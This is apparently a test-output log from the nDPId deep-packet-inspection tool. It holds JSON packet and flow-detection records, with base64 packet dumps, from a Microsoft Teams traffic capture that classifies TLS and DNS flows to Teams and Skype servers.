+00736{"flow_id":20,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":936,"source":"teams.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1587041682,"pkt_ts_usec":107386,"pkt_caplen":296,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":296,"pkt_l4_len":262,"pkt":"EBMx8Tl2KDc3AG3ICABFAAEaAABAAEAG+HfAqAEGNHJLRux8AbuMg\/cIHSSRd4AYEAmCtgAAAQEICjCErYpWxwSgFgMBAOEBAADdAwM8bxQ0whreuqvYvEztjLrW4PBGRpjuL7egzSBD9aU3vgAAHKqqzKnMqMArwC\/ALMAwwBPAFACcAJ0ALwA1AAoBAACYCgoAAP8BAAEAAAAAKAAmAAAjZXUtcHJvZC5hc3luY2d3LnRlYW1zLm1pY3Jvc29mdC5jb20AFwAAACMAAAANABQAEgQDCAQEAQUDCAUFAQgGBgECAQAFAAUBAAAAAAASAAAAEAAOAAwCaDIIaHR0cC8xLjF1UAAAAAsAAgEAAAoACgAISkoAHQAXABgAGwADAgAC2toAAQA="} +00746{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":936,"source":"teams.pcap","alias":"nDPId-test","flow_id":20,"flow_packet_id":4,"flow_first_seen":1587041682076,"flow_last_seen":1587041682107,"flow_tot_l4_data_len":378,"flow_min_l4_data_len":32,"flow_max_l4_data_len":262,"flow_avg_l4_data_len":94,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.6","dst_ip":"52.114.75.70","src_port":60540,"dst_port":443,"l4_proto":"tcp","ndpi": {"proto":"TLS.Teams","breed":"Safe","category":"Collaborative"},"tls": {"version":"TLSv1.2","client_requested_server_name":"eu-prod.asyncgw.teams.microsoft.com","ja3":"74d5fa154a7fc0a7c655d8eaa34b89bf","ja3s":"","unsafe_cipher":0,"cipher":"TLS_NULL_WITH_NULL_NULL","alpn":"h2,http\/1.1"}} +00435{"flow_id":21,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":937,"source":"teams.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1587041682,"pkt_ts_usec":108320,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"KDc3AG3IEBMx8Tl2CABFAAA8CPlAAG0Gw100cktFwKgBBgG77H37toO1hXm5XaASIACQKwAAAgQFoAEDAwgEAggKVQ929DCErW0="} +00423{"flow_id":21,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":938,"source":"teams.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1587041682,"pkt_ts_usec":108400,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"EBMx8Tl2KDc3AG3ICABFAAA0AABAAEAG+V7AqAEGNHJLRex9AbuFebld+7aDtoAQEAnOvQAAAQEICjCErYtVD3b0"} +00715{"flow_id":21,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":939,"source":"teams.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1587041682,"pkt_ts_usec":108566,"pkt_caplen":281,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":281,"pkt_l4_len":247,"pkt":"EBMx8Tl2KDc3AG3ICABFAAELAABAAEAG+IfAqAEGNHJLRex9AbuFebld+7aDtoAYEAl5vQAAAQEICjCErYtVD3b0FgMBANIBAADOAwNRm85ZKo2j5rIUIlemfdLsNPrk0mWhHKlhPOh2TLU7CwAAHKqqzKnMqMArwC\/ALMAwwBPAFACcAJ0ALwA1AAoBAACJ6uoAAP8BAAEAAAAAGQAXAAAUZXUtYXBpLmFzbS5za3lwZS5jb20AFwAAACMAAAANABQAEgQDCAQEAQUDCAUFAQgGBgECAQAFAAUBAAAAAAASAAAAEAAOAAwCaDIIaHR0cC8xLjF1UAAAAAsAAgEAAAoACgAI+voAHQAXABgAGwADAgACmpoAAQA="} +00728{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":939,"source":"teams.pcap","alias":"nDPId-test","flow_id":21,"flow_packet_id":4,"flow_first_seen":1587041682077,"flow_last_seen":1587041682108,"flow_tot_l4_data_len":363,"flow_min_l4_data_len":32,"flow_max_l4_data_len":247,"flow_avg_l4_data_len":90,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.6","dst_ip":"52.114.75.69","src_port":60541,"dst_port":443,"l4_proto":"tcp","ndpi": {"proto":"TLS.Skype","breed":"Acceptable","category":"VoIP"},"tls": {"version":"TLSv1.2","client_requested_server_name":"eu-api.asm.skype.com","ja3":"74d5fa154a7fc0a7c655d8eaa34b89bf","ja3s":"","unsafe_cipher":0,"cipher":"TLS_NULL_WITH_NULL_NULL","alpn":"h2,http\/1.1"}} +00469{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":948,"source":"teams.pcap","alias":"nDPId-test","flow_id":22,"flow_packet_id":1,"flow_first_seen":1587041682129,"flow_last_seen":0,"flow_tot_l4_data_len":52,"flow_min_l4_data_len":52,"flow_max_l4_data_len":52,"flow_avg_l4_data_len":52,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.6","dst_ip":"192.168.1.1","src_port":49514,"dst_port":53,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00452{"flow_id":22,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":948,"source":"teams.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1587041682,"pkt_ts_usec":129643,"pkt_caplen":86,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":86,"pkt_l4_len":52,"pkt":"EBMx8Tl2KDc3AG3ICABFAABIVE8AAP8R4\/3AqAEGwKgBAcFqADUANJ5TmvIBAAABAAAAAAAABmNvbmZpZwV0ZWFtcwltaWNyb3NvZnQDY29tAAABAAE="} +00648{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":948,"source":"teams.pcap","alias":"nDPId-test","flow_id":22,"flow_packet_id":1,"flow_first_seen":1587041682129,"flow_last_seen":0,"flow_tot_l4_data_len":52,"flow_min_l4_data_len":52,"flow_max_l4_data_len":52,"flow_avg_l4_data_len":52,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.6","dst_ip":"192.168.1.1","src_port":49514,"dst_port":53,"l4_proto":"udp","ndpi": {"proto":"DNS.Teams","breed":"Safe","category":"Collaborative"},"dns": {"query":"config.teams.microsoft.com","num_queries":0,"num_answers":0,"reply_code":0,"query_type":1,"rsp_type":0,"rsp_addr":"0.0.0.0"}} +02366{"flow_id":20,"flow_packet_id":5,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":955,"source":"teams.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1587041682,"pkt_ts_usec":139467,"pkt_caplen":1506,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":1506,"pkt_l4_len":1472,"pkt":"KDc3AG3IEBMx8Tl2CABFAAXUXUdAAGwGanY0cktGwKgBBgG77HwdJJcXjIP37oAQBAXL3gAAAQEIClbHBMAwhK2KsYFQCvPTWcgwCwYDVR0PBAQDAgSwMCgGA1UdEQQhMB+CHSouYXN5bmNndy50ZWFtcy5taWNyb3NvZnQuY29tMIGsBgNVHR8EgaQwgaEwgZ6ggZuggZiGS2h0dHA6Ly9tc2NybC5taWNyb3NvZnQuY29tL3BraS9tc2NvcnAvY3JsL01pY3Jvc29mdCUyMElUJTIwVExTJTIwQ0ElMjA1LmNybIZJaHR0cDovL2NybC5taWNyb3NvZnQuY29tL3BraS9tc2NvcnAvY3JsL01pY3Jvc29mdCUyMElUJTIwVExTJTIwQ0ElMjA1LmNybDBNBgNVHSAERjBEMEIGCSsGAQQBgjcqATA1MDMGCCsGAQUFBwIBFidodHRwOi8vd3d3Lm1pY3Jvc29mdC5jb20vcGtpL21zY29ycC9jcHMwHwYDVR0jBBgwFoAUCP4ln3TqhwTCvLuOqDhfM8bRbGUwHQYDVR0lBBYwFAYIKwYBBQUHAwIGCCsGAQUFBwMBMA0GCSqGSIb3DQEBCwUAA4ICAQA2X\/om4H+4\/cR81+swhscxS+n0lRF6\/9QaS3UJkZbRbKTCin3OgcYqSG9pYg6G1+1K1UtTBpsolwlA3Wj42xE7Uv4QpgEXC5f0oaTcFK1me59SUtzp5qGDrwX6WjG8Ktb6uYB5gEczE7C4PC+CFPM3paTb5H5cy9SB3sXBctpW9JL3Q4jgLf0RmKI+tU\/yzqXGVuQXEGhEGBnx2gx7c5jv9zuJnDG+h+fy0tJ8oKxrnU3\/YDtE5a8Gc9riCos64k1IwawJ2ex5sg6EIN6aZMm7jlbnY0GaYkT3Xzq9y\/pq48vIUbUNujVUDc5\/R\/SCSk\/dzf6G7\/xO1H5cZnPEC40ThKUvhXFO2qUKIhsUCjzJG5EdSNtcUv8eCyVsfCMB7dRsifQSwSDmGmM4n\/G81i0O9M4b2XZ+YaSEgJZmQx7Uh5AdoOqwYq2SqBhAihGJdwH2XMq283yNTDRqqo\/WVv2tQAJnjORm59j1r8dDWyuUfRzmyA\/balmQRC8\/yMgQswTFwP1y97tt4lyNjydBDOIBJv2TudKgtjqTbU59+fWu1pBkJP0+oPi5U7f32J4ZwXrKLU9tbuRaGYpYaW\/H8\/s8ycG4tlrTfTYH+M+FW9Y1DTTSC08bOYNW3zgFB64XvsPWTwevXfQWad0gfn6zMKIffJ0Woh7B4kndlMdWD8PoFQAFuDCCBbQwggScoAMCAQICEAiIzVJfGSRETRSlgpHeuVIwDQYJKoZIhvcNAQELBQAwWjELMAkGA1UEBhMCSUUxEjAQBgNVBAoTCUJhbHRpbW9yZTETMBEGA1UECxMKQ3liZXJUcnVzdDEiMCAGA1UEAxMZQmFsdGltb3JlIEN5YmVyVHJ1c3QgUm9vdDAeFw0xNjA1MjAxMjUzMDNaFw0yNDA1MjAxMjUzMDNaMIGLMQswCQYDVQQGEwJVUzETMBEGA1UECBMKV2FzaGluZ3RvbjEQMA4GA1UEBxMHUmVkbW9uZDEeMBwGA1UEChMVTWljcm9zb2Z0IENvcnBvcmF0aW9uMRUwEwYDVQQLEwxNaWNyb3NvZnQgSVQxHjAcBgNVBAMTFU1pY3Jvc29mdCBJVCBUTFMgQ0EgNTCCAiIwDQYJKoZIhvcNAQEBBQADggIPADCCAgoCggIBAJrfgVw7j67peZa5mnmngfI52lUoRiMCxYJmB7YV3v2cOhqbkQnSZo8LiRf4cYchfzjTP5olALc10Kv4CHo281Bb3yspJ96k3SSS+vTGcI02KprwgN41+h5CnQmBqtUHChalxVpCbUK+HkKCtFcwmVtFK9SP0woGxnOTpOGD78W\/BSeneM2zC+CeIhbzmNymFOjMlNcj+dBQmbu1CxCV8d8C6Y+OnVaZPNiP01j7XJJ+PXv4"} +02366{"flow_id":20,"flow_packet_id":6,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":956,"source":"teams.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1587041682,"pkt_ts_usec":139500,"pkt_caplen":1506,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":1506,"pkt_l4_len":1472,"pkt":"KDc3AG3IEBMx8Tl2CABFAAXUXUZAAGwGanc0cktGwKgBBgG77HwdJJF3jIP37oAQBAXx1AAAAQEIClbHBMAwhK2KFgMDF2cCAABVAwNemFWSaFVRkCOJc9DstYMfC08iAySbs8fPN8bS7IioNyBmSgAABnBrPYmSUv6UMChNwK9m8a4QGJY6Yy\/tWe+U9sAwAAANAAUAAAAXAAD\/AQABAAsADooADocACMkwggjFMIIGraADAgECAhMtAAND9wESkm\/sd3ORAAAAA0P3MA0GCSqGSIb3DQEBCwUAMIGLMQswCQYDVQQGEwJVUzETMBEGA1UECBMKV2FzaGluZ3RvbjEQMA4GA1UEBxMHUmVkbW9uZDEeMBwGA1UEChMVTWljcm9zb2Z0IENvcnBvcmF0aW9uMRUwEwYDVQQLEwxNaWNyb3NvZnQgSVQxHjAcBgNVBAMTFU1pY3Jvc29mdCBJVCBUTFMgQ0EgNTAeFw0xODA2MTIxMTUyNDVaFw0yMDA2MTIxMTUyNDVaMCgxJjAkBgNVBAMMHSouYXN5bmNndy50ZWFtcy5taWNyb3NvZnQuY29tMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA9uZE6YVmzh1ro\/4d8Zo+mVIUEDaUviyuYUeJe2UcdHKsHDSUdTQ273GJngjGhgUHAMwvq9w4DIyOUBwcveTFYCZWzVANdRsFsD39nLpXp3vseB5VUXnmXJq29gPKyJFpkrbimMnnEOki7t5nlA9Z2K+wtT1X+Z4mAoJsSkScanGPxLU8tNcdirpZ0\/tvH70adSNM5iFxsRFLblVIdVrqSBeeNgafOdZlIIGOv9P0ABMY7kxYKnw7S8oGlbB3U6ETluGBbgY1c8n6n6\/5011R8Q390xb8uiX78WpVL6NRdD2McwEdmJZUS5ppX\/9INS5YdaB\/lVrmNtlNRMwIco6t6QIDAQABo4IEgjCCBH4wggH1BgorBgEEAdZ5AgQCBIIB5QSCAeEB3wB3AO5Lvbd1zmC64UJpH6vhnmajD35fsHLYgwDEe4l6qP3LAAABY\/PgldcAAAQDAEgwRgIhAK4F5+xyAZ8PgWPavtk6ktZ1Mdq5zCcDAj1dU28RQakyAiEA4DkHuRE6HiTW8RE5rf\/suuvGjdxWguIuLXIbKDGvcIwAdQBVgdTCFpA2AUrqC5tXPFPwwOQ4eHAlCBcvo6odBxPTDAAAAWPz4JSyAAAEAwBGMEQCIEUKuHHg1cOu3ulDL23MIyS7vGphefBcWA43AQQTjyDEAiAwpImJzpyITltxVu+5E9RI6mCB4HmB+34SpNIgXnX3UQB1AG9Tdqwx8DEZ2JkApFEV\/3cVHBHZAsEAKQaNsgiaN9kTAAABY\/Pgk\/MAAAQDAEYwRAIgVkQLEK+aFME4Hb3costoQAwcLpeeMRkWlMpAVlvVKYwCIFBaS7ZLwxVX5ANaQxIs20s7ccOU9sO75sNDOPFjUiVzAHYAu9nfvB+KcbWTlCOXqpJ7RzhXlQqrUugakJZkNo4e0YUAAAFj8+CXzAAABAMARzBFAiBcPX96Y\/KYUQsVX6QdJU7x5hxNzu6nSgTjsrM4Wi0KDwIhANsnPYmqBlSVUmPKVKXLbePowV4E\/X0udEs\/42bFhpbcMCcGCSsGAQQBgjcVCgQaMBgwCgYIKwYBBQUHAwIwCgYIKwYBBQUHAwEwPgYJKwYBBAGCNxUHBDEwLwYnKwYBBAGCNxUIh9qGdYPu2QGCyYUbgbWeYYX062CBXYTS30KC55N6AgFkAgEdMIGFBggrBgEFBQcBAQR5MHcwUQYIKwYBBQUHMAKGRWh0dHA6Ly93d3cubWljcm9zb2Z0LmNvbS9wa2kvbXNjb3JwL01pY3Jvc29mdCUyMElUJTIwVExTJTIwQ0ElMjA1LmNydDAiBggrBgEFBQcwAYYWaHR0cDovL29jc3AubXNvY3NwLmNvbTAdBgNVHQ4EFgQUC8G3iHj\/iQZjMtUq"} +00440{"flow_id":20,"flow_packet_id":7,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":957,"source":"teams.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1587041682,"pkt_ts_usec":139578,"pkt_caplen":78,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":78,"pkt_l4_len":44,"pkt":"EBMx8Tl2KDc3AG3ICABFAABAAABAAEAG+VHAqAEGNHJLRux8AbuMg\/fuHSSRd7AQEAkmRgAAAQEICjCEradWxwSgAQEFCh0klxcdJJy3"} +00425{"flow_id":20,"flow_packet_id":8,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":958,"source":"teams.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1587041682,"pkt_ts_usec":139599,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"EBMx8Tl2KDc3AG3ICABFAAA0AABAAEAG+V3AqAEGNHJLRux8AbuMg\/fuHSSct4AQD6+\/bgAAAQEICjCEradWxwTA"} +02379{"flow_id":20,"flow_packet_id":9,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":959,"source":"teams.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1587041682,"pkt_ts_usec":139683,"pkt_caplen":1506,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":1506,"pkt_l4_len":1472,"pkt":"KDc3AG3IEBMx8Tl2CABFAAXUXUhAAGwGanU0cktGwKgBBgG77HwdJJy3jIP37oAQBAUiMgAAAQEIClbHBMAwhK2KUEla9xB7d\/jmSpBKVVLelK10CaBkVyzNB5CfFq2Vw9EGuvHvbAW1BKyp3Bsxmw4tGZUET95my601cq8ZggiyFDoWX7A8m9uNDLAC1iYf6BVxxO\/5YzlDjOnCki6hwqAwJQ6WJ1+eoyuC1hC9PBkepof+VSE6XEH8AZjML5L\/Zji0uGacDxJoS0qshrtemP+eppxTbDMRpNCuUkfXi4\/xlqy5KZqPLPGtZBjDJrsAZN5QcMC77MZrrtOg78DxXA3yzHpZ2hgzL1kQrWcULF8iQ0pE4ejd4OdVFk4J7wNMDEhQWvAD347vY8pbZ4dDQCwGth8PPlPAZj\/XFBXmCGKYSH6D5ae1XVEtVC1h\/TRd1LeAzdJ9zrEkO\/OXbGwT3ooXyYr1SJVC9xKQ4xAX9qEAxTYqZZGeBexCLlq4mRv\/1E61+mZV2YOOvwgpjfoLAgMBAAGjggFCMIIBPjAdBgNVHQ4EFgQUCP4ln3TqhwTCvLuOqDhfM8bRbGUwHwYDVR0jBBgwFoAU5Z1ZMIJHWMys+ghUNoZ7OrUETfAwEgYDVR0TAQH\/BAgwBgEB\/wIBADAOBgNVHQ8BAf8EBAMCAYYwJwYDVR0lBCAwHgYIKwYBBQUHAwEGCCsGAQUFBwMCBggrBgEFBQcDCTA0BggrBgEFBQcBAQQoMCYwJAYIKwYBBQUHMAGGGGh0dHA6Ly9vY3NwLmRpZ2ljZXJ0LmNvbTA6BgNVHR8EMzAxMC+gLaArhilodHRwOi8vY3JsMy5kaWdpY2VydC5jb20vT21uaXJvb3QyMDI1LmNybDA9BgNVHSAENjA0MDIGBFUdIAAwKjAoBggrBgEFBQcCARYcaHR0cHM6Ly93d3cuZGlnaWNlcnQuY29tL0NQUzANBgkqhkiG9w0BAQsFAAOCAQEAPvLPMKV6vx5q3zlYGCg8w53u54HFS\/xn9r8fTjfa3vCv7or5A3tgZ3THO9r\/K0rr\/VR1E4vlwoESulISILopijrNQyTM1RcF\/pwWP3PgbUHAdj3yq0jFWWJkukRPChiCP0HqPxg6WOegMFd19dFqMRS2lJll2rboAd7kq\/u18+UZChhfpAJX3rZcJm9z\/i4J9QhDxA\/HJH+dKGdlodxb8Dr9+HCF56VPJN5CPx1EO12FBoUdHhzU2U5R5P0eERbMngDZlxqX42XHhjUbU3a+MtEsQUlLoz6TDFt3VwcwPDWLjNFpoif6VeirnRAe0RffumyJ08lb1wuUiKnYtJXXjhYABysBAAcnMIIHIwoBAKCCBxwwggcYBgkrBgEFBQcwAQEEggcJMIIHBTCBx6IWBBQodwHOZZ6LuFUo+CvPI9\/FvHYaTBgPMjAyMDA0MTUyMTU3NDhaMIGbMIGYMEwwCQYFKw4DAhoFAAQUKYX8YT2+L7ASD15CDkyew9We\/XwEFAj+JZ906ocEwry7jqg4XzPG0WxlAhMtAAND9wESkm\/sd3ORAAAAA0P3gAAYDzIwMjAwNDE1MjE1NzQ4WqARGA8yMDIwMDQxOTIxNTc0OFqhIjAgMB4GCSsGAQUFBzABBgQRGA8yMDE5MDQxNjIxNTc0OFowDQYJKoZIhvcNAQELBQADggEBAIqBVwyEEXU6DdYDkoqozQrVQ3FRKIupPdre3a2OvDuPW67S6m+tIdeZ+Zw9LPj+fsyi8jf2W8ZWZc4ClcyDblg9\/4QFNtwVQXl\/inU56UYBHMz0qJ+TlvszBwql1\/mJBV01cH5ActofnFMnyNGINyReu+UvHJO6dh1AH4X4rEowHHpl+4s\/zexMBK1xfIDEwT\/2vFdefuv46V0LNIY8NDUYTnWXdDZPMP9v2chYYDkVgXP0Tvyu\/anOPVEkkZ\/uySkMtjbbQW5NAC934A6s58ZNbyf\/qkweMbyXW5vDLaf7E\/7QvopkhMOF\/1Jz"} +00425{"flow_id":20,"flow_packet_id":10,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":960,"source":"teams.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1587041682,"pkt_ts_usec":139743,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"EBMx8Tl2KDc3AG3ICABFAAA0AABAAEAG+V3AqAEGNHJLRux8AbuMg\/fuHSSiV4AQEAC5fQAAAQEICjCEradWxwTA"} +02367{"flow_id":20,"flow_packet_id":11,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":961,"source":"teams.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1587041682,"pkt_ts_usec":139799,"pkt_caplen":1506,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":1506,"pkt_l4_len":1472,"pkt":"KDc3AG3IEBMx8Tl2CABFAAXUXUlAAGwGanQ0cktGwKgBBgG77HwdJKJXjIP37oAQBAXwVAAAAQEIClbHBMAwhK2Kn1Qet5YvmxEJQA2HbHgnngQuAR2gggUjMIIFHzCCBRswggMDoAMCAQICE24AFdNPBmaWWBEkr9EAAAAV008wDQYJKoZIhvcNAQELBQAwgYsxCzAJBgNVBAYTAlVTMRMwEQYDVQQIEwpXYXNoaW5ndG9uMRAwDgYDVQQHEwdSZWRtb25kMR4wHAYDVQQKExVNaWNyb3NvZnQgQ29ycG9yYXRpb24xFTATBgNVBAsTDE1pY3Jvc29mdCBJVDEeMBwGA1UEAxMVTWljcm9zb2Z0IElUIFRMUyBDQSA1MB4XDTIwMDQwMjE2NTgwOVoXDTIxMDQwMjE2NTgwOVowKzEpMCcGA1UEAwwgTWljcm9zb2Z0X0lUX1RMU19DQV81X0tleUJpbmRpbmcwggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAwggEKAoIBAQC3vbFFZga\/POcMNPw1dgv2un35hrdvRno\/bBLdqRDnw10YI02qHluRhaXn0ywENQe\/0R\/7DYJrN1STc3KeGjgTy+l0QKHrulfQbrYNkE6IWaW4E0pu4LnDLSoWm4NmJ+4Jov8kiKgf6pnHDWf1P4iU9huFQi30sRZshzPc0q9UCMvba4Jsh7h+BB6JFBjoJAw46Iom9tUbSOL6u1zzr4zGGGXhZP+gDSsQX+uQHIyTZU5KE+bs5h2Q8Hglp1KxjESVB0lCpm1nsPHVCgjumm5i+nCLOz1uTn+qk9tk5fZ98Q2Ztg9fwgQigcia\/D53k4K6OFwfw0PzLYPcAS3dg7JLAgMBAAGjgdYwgdMwHQYDVR0OBBYEFCh3Ac5lnou4VSj4K88j38W8dhpMMA4GA1UdDwEB\/wQEAwIHgDATBgNVHSUEDDAKBggrBgEFBQcDCTAPBgkrBgEFBQcwAQUEAgUAMB8GA1UdIwQYMBaAFAj+JZ906ocEwry7jqg4XzPG0WxlMD4GCSsGAQQBgjcVBwQxMC8GJysGAQQBgjcVCIfahnWD7tkBgsmFG4G1nmGF9OtggV2BzJtHgcjpFgIBZAIBBzAbBgkrBgEEAYI3FQoEDjAMMAoGCCsGAQUFBwMJMA0GCSqGSIb3DQEBCwUAA4ICAQBl5aandQ99EtkjJSQg4\/erMAO+8kd6xjrcNzbKdJmdXDLCCNx4V\/6T7JABdTiq20PBxVuXxEDFndNHE4r+3H25iZpq+0SbezCH2HkHsMK+Yhd+qwkmVGkr84UZ9x\/j0E0FlcmTLn1\/xh8nj2GyImJZyFyUQLPanTgh6OVjauPMIyeAIxPZukDNgGwleiYBsqxVGXTsthPgIuF0gget36zJN653KOQx8lvfjL6rHF4MK91358sodyvFRqjdlex3vDPeaTURZBVpOj4x3f8QJS8Q7laNeMh7rJwqiayWnB74QW3oyOCK3lM7FncffccA0ji9Pnc9E2jIpmGQThL2IUJnN8JNZ6ewmRmmeUswAEThqo1ABfplT\/NqlsAZL0s9NqIq\/1HLWAwpquytNt2cXnCKfACZWHCprz208rNt8GThXTjIE90MnYOMVMtqdNDcQsaqEqqqZy+uy4eCE7Z31qTUc\/XcTHELT6Lj4auGohTDJbF2OeJQmXKV436KIhooSDqO+tUcVatHc9S0NujxMRpwTIX3pzzFdyM9WdRWuFUj77Z2+rI2kxnwAIkAPD0kQTyBOiinMYeWqObfpp2Vu9pkDXQbGz4H+dDHtrs15bXvHVFWI7ZEYk6TiUdJiTMkvMBfEV34nqJyDHYnMUGJWTuOhvWrrR7OQQwN9pF2c9cVDwwAAUkDABdBBOQRcjPcZLIMalgCPqcm4aTgP67kySd3NEaQbnttIfeIp+OzZ1CvLIzF6+iy4yZ3Zw\/KIlpTsU8e5k93GJqBX4gEAQEA1VJR+fOkVWhl\/LKSHbU\/vuLuYw1IUDl\/"} +00748{"flow_id":20,"flow_packet_id":12,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":962,"source":"teams.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1587041682,"pkt_ts_usec":139802,"pkt_caplen":302,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":302,"pkt_l4_len":268,"pkt":"KDc3AG3IEBMx8Tl2CABFAAEgXUpAAGwGbyc0cktGwKgBBgG77HwdJKf3jIP37oAYBAVblQAAAQEIClbHBMAwhK2Kx+ZC58DkeMrfhR7U96as3cw+sR7\/rf1hy1qBiX86TIWnkXBHqXFDz7pngVzlpEKfDIDcxHKBTojp1WBGaQWJLAiFfJwhf3B\/PE6LD69PuXrUgzlBkcoammuQLH69vK84+9UGmMsZln5rc8Rwp+oYxiNVjwfIpJEoh+GmG34JsE7A1Doe5ToKKNBCgCHh94ffgv9OYHIGDMPgBt\/16XdtRNLGA7kMik5t2z0IxwLPd3MLF332WEAxDomet8qVnRSsKGssN\/L\/02gB33jzlYISmgtVsgiQz54vJPAdu9sReLefqOrYou5AMQ4AAAA="} +00425{"flow_id":20,"flow_packet_id":13,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":963,"source":"teams.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1587041682,"pkt_ts_usec":139837,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"EBMx8Tl2KDc3AG3ICABFAAA0AABAAEAG+V3AqAEGNHJLRux8AbuMg\/fuHSSo44AQD8uzJgAAAQEICjCEradWxwTA"} +02359{"flow_id":21,"flow_packet_id":5,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":964,"source":"teams.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1587041682,"pkt_ts_usec":140048,"pkt_caplen":1506,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":1506,"pkt_l4_len":1472,"pkt":"KDc3AG3IEBMx8Tl2CABFAAXUCPpAAG0GvcQ0cktFwKgBBgG77H37toO2hXm6NIAQBAUeeAAAAQEIClUPdxEwhK2LFgMDF00CAABVAwNemFWQkTKZfyBaLuzO97G0quTrEm7BgPWyftzaEzJa0iBuSwAAwHf6a8yXd\/slaOSfyDbI53lK7p5dSy9A7BIMcMAwAAANAAUAAAAXAAD\/AQABAAsADnAADm0ACK8wggirMIIGk6ADAgECAhN7AATgvGLpy2Vku+GeAAAABOC8MA0GCSqGSIb3DQEBCwUAMIGLMQswCQYDVQQGEwJVUzETMBEGA1UECBMKV2FzaGluZ3RvbjEQMA4GA1UEBxMHUmVkbW9uZDEeMBwGA1UEChMVTWljcm9zb2Z0IENvcnBvcmF0aW9uMRUwEwYDVQQLEwxNaWNyb3NvZnQgSVQxHjAcBgNVBAMTFU1pY3Jvc29mdCBJVCBUTFMgQ0EgMTAeFw0xOTA1MDcxMjUwMDNaFw0yMTA1MDcxMjUwMDNaMBoxGDAWBgNVBAMMDyouYXNtLnNreXBlLmNvbTCCASIwDQYJKoZIhvcNAQEBBQADggEPADCCAQoCggEBALSeVBZeaxVgbEF7BDFpA+N3ExF3ZQK1QrQQqA05Ko2A7Gpby+2Es8MXR3Kj2VRAX9P5YFzjF3SN5faeJJRz+j7An2iOLXkwQNkglDT6\/sjB3LbEb7T\/nzN+yIm+S8blVfyih6JM9Apu\/ik1krtvLJUniVwHJtK2\/rOjpX264mOpTx8SQf7TjiIlSs3HiDphOG0YLn3YYZ8njuADtWKju18sgzmH3TMQYaJ5rR8rrvEPgZCHNBk+XQJFexPiGtcDjF2WCQ1CKqCKZf8hKbpm8Y4TnLNUxuhK2E+6sFA1dP+E8Bm6m26cCfBNV3G7APHf8AN1YKGjnSNcO3xC9CoOmEMCAwEAAaOCBHYwggRyMIIB9wYKKwYBBAHWeQIEAgSCAecEggHjAeEAdwC72d+8H4pxtZOUI5eqkntHOFeVCqtS6BqQlmQ2jh7RhQAAAWqSYTh5AAAEAwBIMEYC